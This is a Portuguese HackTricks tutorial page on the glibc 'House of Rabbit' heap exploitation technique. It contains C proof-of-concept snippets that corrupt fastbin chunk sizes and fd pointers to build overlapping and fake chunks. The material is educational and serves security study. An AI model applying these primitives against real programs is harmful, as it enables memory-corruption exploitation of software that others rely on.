mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-30 15:03:20 +00:00
97 lines
4.8 KiB
Markdown
97 lines
4.8 KiB
Markdown
# Casa do Coelho
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
### Requisitos
|
|
|
|
1. **Capacidade de Modificar o Ponteiro fd ou Tamanho do Fastbin**: Isso significa que você pode alterar o ponteiro forward de um pedaço no fastbin ou seu tamanho.
|
|
2. **Capacidade de Acionar `malloc_consolidate`**: Isso pode ser feito alocando um grande pedaço ou mesclando o pedaço superior, o que força o heap a consolidar pedaços.
|
|
|
|
### Objetivos
|
|
|
|
1. **Criar Pedaços Sobrepostos**: Para ter um pedaço sobreposto com outro, permitindo manipulações adicionais no heap.
|
|
2. **Forjar Pedaços Falsos**: Para enganar o alocador fazendo com que um pedaço falso seja tratado como um pedaço legítimo durante operações no heap.
|
|
|
|
## Etapas do Ataque
|
|
|
|
### POC 1: Modificar o Tamanho de um Pedaço Fastbin
|
|
|
|
**Objetivo**: Criar um pedaço sobreposto manipulando o tamanho de um pedaço fastbin.
|
|
|
|
* **Passo 1: Alocar Pedaços**
|
|
```cpp
|
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
|
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
|
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
|
```
|
|
* **Passo 2: Liberar Chunks**
|
|
```cpp
|
|
free(chunk1); // Frees the chunk at 0x602000
|
|
free(chunk2); // Frees the chunk at 0x602050
|
|
```
|
|
* **Passo 3: Modificar o Tamanho do Chunk**
|
|
```cpp
|
|
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
|
```
|
|
Alteramos os metadados de tamanho do `chunk1` para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação.
|
|
|
|
* **Passo 4: Acionar `malloc_consolidate`**
|
|
```cpp
|
|
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
|
```
|
|
Alocar um grande bloco aciona a função `malloc_consolidate`, mesclando pequenos blocos no fastbin. O tamanho manipulado do `chunk1` faz com que ele se sobreponha ao `chunk2`.
|
|
|
|
Após a consolidação, o `chunk1` se sobrepõe ao `chunk2`, permitindo uma exploração adicional.
|
|
|
|
### POC 2: Modificar o Ponteiro FD
|
|
|
|
**Objetivo**: Criar um bloco falso manipulando o ponteiro fd do fastbin.
|
|
|
|
* **Passo 1: Alocar Blocos**
|
|
```cpp
|
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
|
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
|
```
|
|
**Explicação**: Alocamos dois blocos, um menor e um maior, para configurar o heap para o bloco falso.
|
|
|
|
* **Passo 2: Criar Bloco Falso**
|
|
```cpp
|
|
chunk2[1] = 0x31; // Fake chunk size 0x30
|
|
chunk2[7] = 0x21; // Next fake chunk
|
|
chunk2[11] = 0x21; // Next-next fake chunk
|
|
```
|
|
* **Passo 3: Liberar o Chunk1**
|
|
```cpp
|
|
free(chunk1); // Frees the chunk at 0x602000
|
|
```
|
|
**Explicação**: Liberamos `chunk1`, adicionando-o à lista fastbin.
|
|
|
|
* **Passo 4: Modificar FD do Chunk1**
|
|
```cpp
|
|
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
|
```
|
|
**Explicação**: Alteramos o ponteiro para frente (fd) do `chunk1` para apontar para o nosso chunk falso dentro do `chunk2`.
|
|
|
|
* **Passo 5: Acionar `malloc_consolidate`**
|
|
```cpp
|
|
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
|
```
|
|
Alocar um grande bloco novamente aciona o `malloc_consolidate`, que processa o bloco falso.
|
|
|
|
O bloco falso passa a fazer parte da lista fastbin, tornando-se um bloco legítimo para futuras explorações.
|
|
|
|
### Resumo
|
|
|
|
A técnica **House of Rabbit** envolve modificar o tamanho de um bloco fastbin para criar blocos sobrepostos ou manipular o ponteiro fd para criar blocos falsos. Isso permite que os atacantes forjem blocos legítimos no heap, possibilitando várias formas de exploração. Compreender e praticar esses passos irá aprimorar suas habilidades de exploração de heap.
|